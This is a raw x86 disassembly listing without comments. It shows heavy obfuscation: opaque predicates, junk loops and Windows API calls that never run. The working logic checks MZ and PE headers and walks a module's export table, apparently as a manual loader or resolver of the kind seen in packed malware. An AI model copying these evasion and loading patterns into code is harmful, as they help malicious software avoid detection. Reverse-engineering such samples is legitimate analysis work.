mov dword [ebp - 0xa4], 0
jmp 0x1001c920
mov eax, dword [ebp - 0xa4]
inc eax
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 1
jge 0x1001c942
push dword [ebp - 0xa4]
lea ecx, [ebp - 0x3fc]
call fcn.1002154c
mov dword [eax], 0x622ba394
jmp 0x1001c913
push 0
lea ecx, [ebp - 0x3fc]
call fcn.1002154c
and dword [eax], 0
jmp 0x1001c978
push 0
lea ecx, [ebp - 0x3fc]
call fcn.1002154c
mov dword [ebp - 0x968], eax
mov eax, dword [ebp - 0x968]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x968]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x3fc]
call fcn.1002154c
cmp dword [eax], 1
jg 0x1001caaf
push 0
lea ecx, [ebp - 0x3fc]
call fcn.1002154c
push dword [eax]
lea ecx, [ebp - 0x9f4]
call fcn.1002154c
cmp dword [eax], 0
je 0x1001ca0b
mov dword [ebp - 0xca4], 1
push 0
lea ecx, [ebp - 0x3fc]
call fcn.1002154c
push dword [eax]
lea ecx, [ebp - 0x9f4]
call fcn.1002154c
mov dword [ebp - 0x768], eax
push 0
lea ecx, [ebp - 0x3fc]
call fcn.1002154c
push dword [eax]
lea ecx, [ebp - 0x9f4]
call fcn.1002154c
mov ecx, dword [ebp - 0x768]
mov eax, dword [eax]
mov dword [ecx], eax
mov eax, dword [ebp - 0x768]
mov eax, dword [eax]
mov dword [ebp - 0xca4], eax
jmp 0x1001ca7d
mov dword [ebp - 0x31c], 0
jmp 0x1001ca24
mov eax, dword [ebp - 0x31c]
inc eax
mov dword [ebp - 0x31c], eax
cmp dword [ebp - 0x31c], 3
jge 0x1001ca40
mov eax, dword [ebp - 0x31c]
mov dword [ebp + eax*4 - 0xf48], 0x31551da6
jmp 0x1001ca17
push 4
pop esi
shl esi, 0
push 0
lea ecx, [ebp - 0x3fc]
call fcn.1002154c
push dword [eax]
lea ecx, [ebp - 0x9f4]
call fcn.1002154c
mov eax, dword [eax]
mov dword [ebp + esi - 0xf48], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xf48], 0
je 0x1001ca7d
jmp 0x1001c954
push 0
lea ecx, [ebp - 0x9f4]
call fcn.1002154c
mov esi, eax
push 0
lea ecx, [ebp - 0x3fc]
call fcn.1002154c
push dword [eax]
lea ecx, [ebp - 0x9f4]
call fcn.1002154c
mov eax, dword [eax]
mov dword [esi], eax
jmp 0x1001c954
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x3fc]
call fcn.10021530
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x9f4]
call fcn.10021530
cmp dword [ebp - 0x344], 0
je 0x1001fa42
mov eax, dword [ebp - 0x344]
movzx eax, word [eax]
cmp eax, 0x5a4d
jne 0x1001fa42
mov dword [ebp - 0xb38], 0xb999fb02
mov dword [ebp - 0x2ec], 0
jmp 0x1001cb11
mov eax, dword [ebp - 0x2ec]
inc eax
mov dword [ebp - 0x2ec], eax
cmp dword [ebp - 0x2ec], 3
jge 0x1001cb2d
mov eax, dword [ebp - 0x2ec]
mov dword [ebp + eax*4 - 0xd34], 5
jmp 0x1001cb04
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0xd34], 0xffffffe8
jmp 0x1001cb58
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xd34]
inc eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0xd34], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xd34], 0xffffffee
jg 0x1001cb8b
mov dword [ebp - 0xb38], 0xfb6318d5
mov byte [ebp - 0x120], 0
movzx eax, byte [ebp - 0x120]
test eax, eax
je 0x1001cb89
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
jmp 0x1001cb3f
mov eax, dword [ebp - 0x344]
mov ecx, dword [ebp - 0x344]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x1c8], ecx
mov dword [ebp - 0x184], 0
mov dword [ebp - 0x374], 0
mov dword [ebp - 0x98c], 1
mov dword [ebp - 0x2f4], 0
jmp 0x1001cbd7
mov eax, dword [ebp - 0x2f4]
inc eax
mov dword [ebp - 0x2f4], eax
cmp dword [ebp - 0x2f4], 4
jge 0x1001cbf3
mov eax, dword [ebp - 0x2f4]
mov dword [ebp + eax*4 - 0xcf8], 9
jmp 0x1001cbca
mov dword [ebp - 0x184], 0
jmp 0x1001cc0c
mov eax, dword [ebp - 0x184]
inc eax
mov dword [ebp - 0x184], eax
cmp dword [ebp - 0x184], 0x19
jg 0x1001ce21
mov dword [ebp - 0x34], 1
mov dword [ebp - 0x18c], 1
mov dword [ebp - 0x34], 0
jmp 0x1001cc3a
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 3
jg 0x1001cd6b
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp + eax*4 - 0xcf8]
mov dword [ebp - 0xecc], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0xed4], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp + eax*4 - 0xcf8]
add eax, 0xfff6
mov ecx, dword [ebp - 0x34]
cmp dword [ebp + ecx*4 - 0xcf8], eax
jg 0x1001cc84
mov dword [ebp - 0x8c0], 1
jmp 0x1001cc8b
and dword [ebp - 0x8c0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xcf8]
cmp dword [ebp - 0x8c0], eax
je 0x1001ccac
mov dword [ebp - 0x770], 1
jmp 0x1001ccb3
and dword [ebp - 0x770], 0
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp + eax*4 - 0xcf8]
cmp dword [ebp - 0x770], eax
jl 0x1001ccd1
mov dword [ebp - 0x984], 1
jmp 0x1001ccd8
and dword [ebp - 0x984], 0
cmp dword [ebp - 0x984], 0xc67e
jl 0x1001ccf0
mov dword [ebp - 0x778], 1
jmp 0x1001ccf7
and dword [ebp - 0x778], 0
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x778]
sub ecx, dword [ebp + eax*4 - 0xcf8]
cmp ecx, dword [ebp - 0x34]
jle 0x1001cd18
mov dword [ebp - 0x8c8], 1
jmp 0x1001cd1f
and dword [ebp - 0x8c8], 0
mov eax, dword [ebp - 0x18c]
cmp dword [ebp - 0x8c8], eax
jle 0x1001cd39
mov dword [ebp - 0x780], 1
jmp 0x1001cd40
and dword [ebp - 0x780], 0
mov eax, dword [ebp - 0x780]
mov dword [ebp - 0x374], eax
mov byte [ebp - 0xe1], 0
movzx eax, byte [ebp - 0xe1]
test eax, eax
je 0x1001cd66
push 0
call dword [sym.imp.KERNEL32.dll_InitializeSListHead]
jmp 0x1001cc33
cmp dword [ebp - 0x34], 0
jne 0x1001cddc
cmp dword [ebp - 0x34], 0
jne 0x1001cdca
mov eax, dword [ebp - 0x18c]
mov dword [ebp - 0xee0], eax
mov eax, dword [ebp - 0x374]
mov dword [ebp - 0xf00], eax
mov eax, dword [ebp - 0x18c]
imul eax, dword [ebp - 0x184]
mov ecx, 0x40c3
sub ecx, eax
cmp ecx, 0x8bbe58ed
ja 0x1001cdb7
mov dword [ebp - 0xc08], 1
jmp 0x1001cdbe
and dword [ebp - 0xc08], 0
mov eax, dword [ebp - 0x18c]
mov dword [ebp - 0xf08], eax
cmp dword [ebp - 0x98c], 0
jne 0x1001cddc
and dword [ebp - 0x788], 0
jmp 0x1001cde6
mov dword [ebp - 0x788], 1
mov eax, dword [ebp - 0x98c]
cmp dword [ebp - 0x788], eax
jl 0x1001ce06
cmp dword [ebp - 0x18c], 0
jne 0x1001ce06
and dword [ebp - 0x8d0], 0
jmp 0x1001ce10
mov dword [ebp - 0x8d0], 1
mov eax, dword [ebp - 0x8d0]
mov dword [ebp - 0x374], eax
jmp 0x1001cbff
mov byte [ebp - 0x128], 0
movzx eax, byte [ebp - 0x128]
test eax, eax
je 0x1001ce47
push 0
push 0
push 0x1a98
push 0x95c
call dword [sym.imp.USER32.dll_PostMessageA]
mov eax, dword [ebp - 0x1c8]
cmp dword [eax], 0x4550
jne 0x1001fa42
mov eax, dword [ebp - 0x1c8]
cmp dword [eax + 0x74], 0
jbe 0x1001fa42
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1c8]
cmp dword [ecx + eax + 0x78], 0
je 0x1001fa42
push 3
lea ecx, [ebp - 0x170]
call fcn.100214ae
mov dword [ebp - 4], 0x25
mov dword [ebp - 0xbc], 6
mov dword [ebp - 0xf10], 0xfff8
mov dword [ebp - 0xcc4], 0x3c77
push 1
lea ecx, [ebp - 0xde0]
call fcn.100214ae
mov byte [ebp - 4], 0x26
mov dword [ebp - 0xcac], 0xfffffffd
mov dword [ebp - 0x2c], 0
jmp 0x1001cedd
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 3
jge 0x1001cef9
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x170]
call fcn.1002154c
mov dword [eax], 0x2d149feb
jmp 0x1001ced6
mov dword [ebp - 0x2c], 0
jmp 0x1001cf09
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 2
jge 0x1001cf1f
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x434], 3
jmp 0x1001cf02
mov dword [ebp - 0x2c], 0
jmp 0x1001cf2f
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 1
jge 0x1001cf48
push dword [ebp - 0x2c]
lea ecx, [ebp - 0xde0]
call fcn.1002154c
or dword [eax], 0xffffffff
jmp 0x1001cf28
mov byte [ebp - 0xe9], 0
movzx eax, byte [ebp - 0xe9]
test eax, eax
je 0x1001cf62
push 0
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
push 1
lea ecx, [ebp - 0x170]
call fcn.1002154c
cmp dword [eax], 5
jne 0x1001cf80
mov dword [ebp - 0xa00], 1
jmp 0x1001cf87
and dword [ebp - 0xa00], 0
push 1
lea ecx, [ebp - 0x170]
call fcn.1002154c
mov esi, eax
push 1
lea ecx, [ebp - 0x170]
call fcn.1002154c
mov eax, dword [eax]
cmp eax, dword [esi]
jne 0x1001cfb5
mov dword [ebp - 0x790], 1
jmp 0x1001cfbc
and dword [ebp - 0x790], 0
mov eax, dword [ebp - 0x790]
sub eax, 0x29ed890f
cmp dword [ebp - 0xa00], eax
jl 0x1001cfdb
mov dword [ebp - 0x798], 1
jmp 0x1001cfe2
and dword [ebp - 0x798], 0
push 1
lea ecx, [ebp - 0x170]
call fcn.1002154c
mov ecx, dword [ebp - 0x798]
cmp ecx, dword [eax]
jge 0x1001d005
mov dword [ebp - 0xb40], 1
jmp 0x1001d00c
and dword [ebp - 0xb40], 0
push 2
lea ecx, [ebp - 0x170]
call fcn.1002154c
push 1
lea ecx, [ebp - 0x170]
call fcn.1002154c
push 2
lea ecx, [ebp - 0x170]
call fcn.1002154c
push 2
lea ecx, [ebp - 0x170]
call fcn.1002154c
cmp dword [eax], 0
je 0x1001d063
push 2
lea ecx, [ebp - 0x170]
call fcn.1002154c
cmp dword [eax], 0
je 0x1001d063
mov dword [ebp - 0x8d8], 1
jmp 0x1001d06a
and dword [ebp - 0x8d8], 0
mov eax, dword [ebp - 0xbc]
cmp dword [ebp - 0x8d8], eax
jl 0x1001d084
mov dword [ebp - 0x7a0], 1
jmp 0x1001d08b
and dword [ebp - 0x7a0], 0
push 2
lea ecx, [ebp - 0x170]
call fcn.1002154c
mov eax, dword [eax]
cmp eax, dword [ebp - 0x7a0]
jl 0x1001d0ae
mov dword [ebp - 0x978], 1
jmp 0x1001d0b5
and dword [ebp - 0x978], 0
push 2
lea ecx, [ebp - 0x170]
call fcn.1002154c
mov ecx, dword [ebp - 0x978]
cmp ecx, dword [eax]
jne 0x1001d0e1
mov eax, 0x889e
test eax, eax
je 0x1001d0e1
mov dword [ebp - 0x7a8], 1
jmp 0x1001d0e8
and dword [ebp - 0x7a8], 0
cmp dword [ebp - 0x7a8], 0
jne 0x1001d103
cmp dword [ebp - 0xbc], 0
jne 0x1001d103
and dword [ebp - 0x8e0], 0
jmp 0x1001d10d
mov dword [ebp - 0x8e0], 1
mov esi, dword [ebp - 0xbc]
push 1
lea ecx, [ebp - 0x170]
call fcn.1002154c
mov eax, dword [eax]
mov ecx, dword [ebp - 0x8e0]
lea eax, [ecx + eax - 1]
cmp eax, esi
jle 0x1001d413
push 1
lea ecx, [ebp - 0x440]
call fcn.100214ae
mov byte [ebp - 4], 0x27
mov dword [ebp - 0x57c], 0x52d86a02
mov dword [ebp - 0x594], 0xf020a73b
mov dword [ebp - 0xb50], 0xa0d1f89
mov dword [ebp - 0x324], 0
jmp 0x1001d17c
mov eax, dword [ebp - 0x324]
inc eax
mov dword [ebp - 0x324], eax
cmp dword [ebp - 0x324], 1
jge 0x1001d19e
push dword [ebp - 0x324]
lea ecx, [ebp - 0x440]
call fcn.1002154c
mov dword [eax], 0x9b96
jmp 0x1001d16f
push 0
lea ecx, [ebp - 0x440]
call fcn.1002154c
mov esi, eax
push 0
lea ecx, [ebp - 0x440]
call fcn.1002154c
mov eax, dword [eax]
cmp eax, dword [esi]
jg 0x1001d1cc
mov dword [ebp - 0x544], 1
jmp 0x1001d1d3
and dword [ebp - 0x544], 0
push 0
lea ecx, [ebp - 0x440]
call fcn.1002154c
mov ecx, dword [ebp - 0x544]
cmp ecx, dword [eax]
jg 0x1001d1ff
cmp dword [ebp - 0xcc4], 0
je 0x1001d1ff
mov dword [ebp - 0x54c], 1
jmp 0x1001d206
and dword [ebp - 0x54c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x434]
cmp dword [ebp - 0x54c], eax
jle 0x1001d227
mov dword [ebp - 0x554], 1
jmp 0x1001d22e
and dword [ebp - 0x554], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x434]
cmp dword [ebp - 0x554], eax
jne 0x1001d24f
mov dword [ebp - 0x55c], 1
jmp 0x1001d256
and dword [ebp - 0x55c], 0
mov eax, dword [ebp - 0xbc]
cmp dword [ebp - 0x55c], eax
jle 0x1001d270
mov dword [ebp - 0x564], 1
jmp 0x1001d277
and dword [ebp - 0x564], 0
push 1
lea ecx, [ebp - 0x170]
call fcn.1002154c
mov ecx, dword [ebp - 0x564]
cmp ecx, dword [eax]
jle 0x1001d29a
mov dword [ebp - 0x56c], 1
jmp 0x1001d2a1
and dword [ebp - 0x56c], 0
cmp dword [ebp - 0x56c], 0xfffffffc
je 0x1001d2b6
mov dword [ebp - 0x574], 1
jmp 0x1001d2bd
and dword [ebp - 0x574], 0
mov eax, dword [ebp - 0x574]
mov dword [ebp - 0x57c], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x434]
mov dword [ebp - 0xf18], eax
mov eax, dword [ebp - 0xbc]
mov dword [ebp - 0x57c], eax
push 4
pop eax
imul eax, eax, 0
mov esi, dword [ebp + eax - 0x434]
push 0
lea ecx, [ebp - 0x440]
call fcn.1002154c
imul eax, dword [eax], 0
mov ecx, 0x95ea9899
sub ecx, eax
cmp ecx, esi
jg 0x1001d31c
mov dword [ebp - 0x584], 1
jmp 0x1001d323
and dword [ebp - 0x584], 0
mov eax, dword [ebp - 0x584]
sub eax, dword [ebp - 0xbc]
jne 0x1001d348
xor eax, eax
inc eax
jne 0x1001d348
mov eax, 0x89a4
test eax, eax
jne 0x1001d348
and dword [ebp - 0x58c], 0
jmp 0x1001d352
mov dword [ebp - 0x58c], 1
mov esi, dword [ebp - 0x58c]
add esi, 0xffff
push 1
lea ecx, [ebp - 0x170]
call fcn.1002154c
cmp dword [eax], esi
jne 0x1001d37b
mov dword [ebp - 0xb48], 1
jmp 0x1001d382
and dword [ebp - 0xb48], 0
push 0
lea ecx, [ebp - 0x440]
call fcn.1002154c
push 0
lea ecx, [ebp - 0x440]
call fcn.1002154c
mov eax, dword [eax]
mov dword [ebp - 0x594], eax
push 4
pop eax
shl eax, 0
mov esi, dword [ebp + eax - 0x434]
mov edi, dword [ebp - 0x594]
push 0
lea ecx, [ebp - 0x440]
call fcn.1002154c
add edi, dword [eax]
cmp edi, esi
je 0x1001d3d6
mov dword [ebp - 0xc18], 1
jmp 0x1001d3dd
and dword [ebp - 0xc18], 0
push 0
lea ecx, [ebp - 0xde0]
call fcn.1002154c
push 1
lea ecx, [ebp - 0x170]
call fcn.1002154c
mov eax, dword [eax]
mov dword [ebp - 0xb50], eax
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0x440]
call fcn.10021530
jmp 0x1001d580
mov dword [ebp - 0x2a0], 0
mov dword [ebp - 0xda0], 0x27c80b14
mov dword [ebp - 0xd9c], 0x27c80b14
mov dword [ebp - 0xd98], 0x27c80b14
mov dword [ebp - 0xd94], 0x27c80b14
lea ecx, [ebp - 0x3a1]
call fcn.1002155b
push eax
lea eax, [ebp - 0xd90]
push eax
lea eax, [ebp - 0xda0]
push eax
lea ecx, [ebp - 0x10dc]
call fcn.1002155e
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xf58]
call fcn.1002150a
mov byte [ebp - 4], 0x28
mov dword [ebp - 0x5a4], 0x349fec89
push 0
lea ecx, [ebp - 0x170]
call fcn.1002154c
cmp dword [ebp - 0x2a0], 0
jne 0x1001d4d1
mov eax, dword [ebp - 0x2a0]
mov dword [ebp - 0x59c], eax
push 2
lea ecx, [ebp - 0xf58]
call fcn.1002154c
mov ecx, dword [ebp - 0x59c]
mov dword [eax], ecx
cmp dword [ebp - 0x59c], 0
jne 0x1001d4d1
and dword [ebp - 0x5b4], 0
jmp 0x1001d4db
mov dword [ebp - 0x5b4], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x434]
mov dword [ebp - 0x5a4], eax
cmp dword [ebp - 0x5a4], 0
je 0x1001d508
xor eax, eax
inc eax
je 0x1001d508
mov dword [ebp - 0x5ac], 1
jmp 0x1001d50f
and dword [ebp - 0x5ac], 0
mov eax, dword [ebp - 0x2a0]
add eax, dword [ebp - 0x5ac]
mov dword [ebp - 0xbc], eax
mov eax, dword [ebp - 0xbc]
imul eax, dword [ebp - 0x2a0]
cmp dword [ebp - 0x5b4], eax
je 0x1001d542
mov dword [ebp - 0x5bc], 1
jmp 0x1001d549
and dword [ebp - 0x5bc], 0
cmp dword [ebp - 0x5bc], 2
jg 0x1001d55e
mov dword [ebp - 0x5c4], 1
jmp 0x1001d565
and dword [ebp - 0x5c4], 0
mov eax, dword [ebp - 0x5c4]
mov dword [ebp - 0xcac], eax
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0xf58]
call fcn.10021530
mov byte [ebp - 4], 0x25
lea ecx, [ebp - 0xde0]
call fcn.10021530
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x170]
call fcn.10021530
mov eax, dword [ebp + 8]
mov dword [ebp - 0x150], eax
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1c8]
mov edx, dword [ebp - 0x150]
add edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0xc8], edx
push 2
lea ecx, [ebp - 0xa34]
call fcn.100214ae
mov dword [ebp - 4], 0x29
mov dword [ebp - 0x84], 1
mov dword [ebp - 0x5cc], 0x145e
mov dword [ebp - 0xb58], 0x10007f5c
cmp dword [ebp - 0x5cc], 0x1844
jle 0x1001d685
push 0
call dword [sym.imp.COMDLG32.dll_FindTextW]
and dword [ebp - 0x2a8], 0
jmp 0x1001d623
mov eax, dword [ebp - 0x2a8]
inc eax
mov dword [ebp - 0x2a8], eax
cmp dword [ebp - 0x2a8], 0x318b
jge 0x1001d685
and dword [ebp - 0x2b0], 0
jmp 0x1001d645
mov eax, dword [ebp - 0x2b0]
inc eax
mov dword [ebp - 0x2b0], eax
cmp dword [ebp - 0x2b0], 0x3661
jge 0x1001d683
mov eax, dword [ebp - 0x2a8]
imul eax, dword [ebp - 0x2b0]
cdq
mov dword [ebp - 0xae4], eax
mov dword [ebp - 0xae0], edx
push dword [ebp - 0xae0]
push dword [ebp - 0xae4]
mov ecx, 0x10618c58
call fcn.100212a3
jmp 0x1001d638
jmp 0x1001d616
push 1
lea ecx, [ebp - 0xd4c]
call fcn.100214ae
mov byte [ebp - 4], 0x2a
mov byte [ebp - 4], 0x2b
cmp dword [ebp - 0x5cc], 0x11b7
jge 0x1001d6b6
mov edx, dword [ebp - 0xb58]
mov ecx, 0x10618c58
call fcn.10024060
jmp 0x1001d6d2
mov dword [ebp - 4], 0x2a
jmp 0x1001d6e2
push 4
lea ecx, [ebp - 0xe04]
call fcn.100214ae
mov byte [ebp - 4], 0x2d
mov dword [ebp - 0x24], 0
jmp 0x1001d703
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 2
jge 0x1001d71f
push dword [ebp - 0x24]
lea ecx, [ebp - 0xa34]
call fcn.1002154c
mov dword [eax], 0xfff9
jmp 0x1001d6fc
mov dword [ebp - 0x24], 0
jmp 0x1001d72f
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 1
jge 0x1001d74b
push dword [ebp - 0x24]
lea ecx, [ebp - 0xd4c]
call fcn.1002154c
mov dword [eax], 0xfffffffc
jmp 0x1001d728
mov dword [ebp - 0x24], 0
jmp 0x1001d75b
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 4
jge 0x1001d777
push dword [ebp - 0x24]
lea ecx, [ebp - 0xe04]
call fcn.1002154c
mov dword [eax], 0x56ec7e43
jmp 0x1001d754
push 0
lea ecx, [ebp - 0xa34]
call fcn.1002154c
cmp dword [eax], 0
je 0x1001d795
mov dword [ebp - 0x5dc], 1
jmp 0x1001d79c
and dword [ebp - 0x5dc], 0
mov eax, dword [ebp - 0x84]
mov dword [ebp - 0xe78], eax
push 0xfffffffffffffffe
pop eax
cmp eax, 0x7383cc4
jge 0x1001d7be
mov dword [ebp - 0x5d4], 1
jmp 0x1001d7c5
and dword [ebp - 0x5d4], 0
cmp dword [ebp - 0x5d4], 0xfff6
je 0x1001d7dd
mov dword [ebp - 0x5e4], 1
jmp 0x1001d7e4
and dword [ebp - 0x5e4], 0
mov eax, dword [ebp - 0x5dc]
cmp eax, dword [ebp - 0x5e4]
jl 0x1001d7fe
mov dword [ebp - 0x5ec], 1
jmp 0x1001d805
and dword [ebp - 0x5ec], 0
push 0
lea ecx, [ebp - 0xa34]
call fcn.1002154c
mov eax, dword [eax]
cmp eax, dword [ebp - 0x5ec]
jne 0x1001d828
mov dword [ebp - 0x5f4], 1
jmp 0x1001d82f
and dword [ebp - 0x5f4], 0
push 0
lea ecx, [ebp - 0xa34]
call fcn.1002154c
mov eax, dword [eax]
neg eax
cmp eax, dword [ebp - 0x5f4]
jne 0x1001d854
mov dword [ebp - 0x37c], 1
jmp 0x1001d85b
and dword [ebp - 0x37c], 0
push 0
lea ecx, [ebp - 0xd4c]
call fcn.1002154c
mov ecx, dword [ebp - 0x37c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x37c]
dec eax
je 0x1001d88c
push 2
pop eax
test eax, eax
je 0x1001d88c
mov dword [ebp - 0x5fc], 1
jmp 0x1001d893
and dword [ebp - 0x5fc], 0
push 3
lea ecx, [ebp - 0xe04]
call fcn.1002154c
mov ecx, dword [ebp - 0x5fc]
mov dword [eax], ecx
push 0
lea ecx, [ebp - 0xa34]
call fcn.1002154c
cmp dword [eax], 0
je 0x1001d8ff
mov dword [ebp - 0x604], 0xf8f9ed02
mov eax, dword [ebp - 0x604]
cmp eax, dword [ebp - 0x604]
jg 0x1001d8de
mov dword [ebp - 0x60c], 1
jmp 0x1001d8e5
and dword [ebp - 0x60c], 0
push 0
lea ecx, [ebp - 0xd4c]
call fcn.1002154c
mov ecx, dword [ebp - 0x60c]
mov dword [eax], ecx
jmp 0x1001d9f9
mov dword [ebp - 0x84], 0
jmp 0x1001d918
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0x34
je 0x1001d99a
mov dword [ebp - 0x218], 1
mov dword [ebp - 0x218], 0x13
jmp 0x1001d944
mov eax, dword [ebp - 0x218]
dec eax
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 0xfffffff6
jge 0x1001d995
mov byte [ebp - 0x122], 0
movzx eax, byte [ebp - 0x122]
test eax, eax
je 0x1001d975
push 0
push 0
push 0x17b1
push 0x1652
push 0
call dword [sym.imp.USER32.dll_ModifyMenuW]
mov byte [ebp - 0xc9], 0
movzx eax, byte [ebp - 0xc9]
test eax, eax
je 0x1001d993
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
jmp 0x1001d937
jmp 0x1001d90b
mov dword [ebp - 0x84], 0x14
jmp 0x1001d9b3
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0x1f
jle 0x1001d9f9
mov byte [ebp - 0x101], 0
movzx eax, byte [ebp - 0x101]
test eax, eax
je 0x1001d9f7
push 0xaca
push 0x16dc
push 0xa43
push 0x698
push 0x1242
push 0x8d5
push 0x1fe2
call dword [sym.imp.GDI32.dll_RoundRect]
jmp 0x1001d9a6
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0xe04]
call fcn.10021530
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0xd4c]
call fcn.10021530
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa34]
call fcn.10021530
mov eax, 0xffff
mov word [ebp - 0x8c], ax
mov dword [ebp - 0x220], 0x41b3c692
mov byte [ebp - 0x109], 0
movzx eax, byte [ebp - 0x109]
test eax, eax
je 0x1001da60
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [ebp - 0x220], 0xffffffe8
jmp 0x1001da79
mov eax, dword [ebp - 0x220]
dec eax
mov dword [ebp - 0x220], eax
cmp dword [ebp - 0x220], 0xffffffe4
jge 0x1001dad4
mov byte [ebp - 0xf1], 0
movzx eax, byte [ebp - 0xf1]
test eax, eax
je 0x1001dad2
push 0
push 0x1b78
push 0
push 0
push 0x1889
push 0xf34
push 0x1773
push 0x13b3
push 0x5c3
push 0xeb
push 0x1ea6
push 0x17a7
push 0x1355
call dword [sym.imp.GDI32.dll_StretchDIBits]
jmp 0x1001da6c
or dword [ebp - 0x148], 0xffffffff
cmp dword [ebp + 0x10], 0
jbe 0x1001de3a
mov eax, dword [ebp - 0xc8]
mov ecx, dword [ebp + 0x10]
cmp ecx, dword [eax + 0x14]
ja 0x1001de35
mov dword [ebp - 0x48], 1
mov dword [ebp - 0x100], 1
and dword [ebp - 0xdc8], 0
and dword [ebp - 0xdc4], 0
and dword [ebp - 0xdc0], 0
and dword [ebp - 0xdbc], 0
lea ecx, [ebp - 0x3a9]
call fcn.1002155b
push eax
lea eax, [ebp - 0xdb8]
push eax
lea eax, [ebp - 0xdc8]
push eax
lea ecx, [ebp - 0x109c]
call fcn.1002155e
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xf68]
call fcn.1002150a
mov dword [ebp - 4], 0x2e
cmp dword [ebp - 0x48], 0
je 0x1001dcba
mov eax, dword [ebp - 0x48]
cmp eax, dword [ebp - 0x48]
je 0x1001db7e
mov dword [ebp - 0x614], 1
jmp 0x1001db85
and dword [ebp - 0x614], 0
cmp dword [ebp - 0x614], 0xd39c
jne 0x1001db9d
mov dword [ebp - 0x61c], 1
jmp 0x1001dba4
and dword [ebp - 0x61c], 0
mov eax, dword [ebp - 0x48]
cmp dword [ebp - 0x61c], eax
je 0x1001dbbb
mov dword [ebp - 0x624], 1
jmp 0x1001dbc2
and dword [ebp - 0x624], 0
mov eax, dword [ebp - 0x48]
imul eax, dword [ebp - 0x624]
test eax, eax
je 0x1001dbe2
cmp dword [ebp - 0x48], 0
je 0x1001dbe2
mov dword [ebp - 0x62c], 1
jmp 0x1001dbe9
and dword [ebp - 0x62c], 0
mov eax, dword [ebp - 0x48]
cmp dword [ebp - 0x62c], eax
jge 0x1001dc00
mov dword [ebp - 0x634], 1
jmp 0x1001dc07
and dword [ebp - 0x634], 0
mov eax, dword [ebp - 0x48]
cmp dword [ebp - 0x634], eax
je 0x1001dc1e
mov dword [ebp - 0x63c], 1
jmp 0x1001dc25
and dword [ebp - 0x63c], 0
cmp dword [ebp - 0x63c], 0x43b8a277
jl 0x1001dc3d
mov dword [ebp - 0x644], 1
jmp 0x1001dc44
and dword [ebp - 0x644], 0
cmp dword [ebp - 0x644], 0xd004
jg 0x1001dc5c
mov dword [ebp - 0x64c], 1
jmp 0x1001dc63
and dword [ebp - 0x64c], 0
mov eax, dword [ebp - 0x64c]
mov dword [ebp - 0x100], eax
mov eax, 0x67f5
add eax, 0x9869
cmp eax, dword [ebp - 0x48]
jne 0x1001dc8a
mov dword [ebp - 0x654], 1
jmp 0x1001dc91
and dword [ebp - 0x654], 0
mov eax, dword [ebp - 0x48]
cmp dword [ebp - 0x654], eax
je 0x1001dca5
cmp dword [ebp - 0x100], 0
je 0x1001dcba
mov eax, 0x41791e6e
test eax, eax
je 0x1001dcba
mov dword [ebp - 0x65c], 1
jmp 0x1001dcc1
and dword [ebp - 0x65c], 0
cmp dword [ebp - 0x65c], 0xfffffff9
jge 0x1001dcec
mov byte [ebp - 0x11b], 0
movzx eax, byte [ebp - 0x11b]
test eax, eax
je 0x1001dce7
push 0x107e
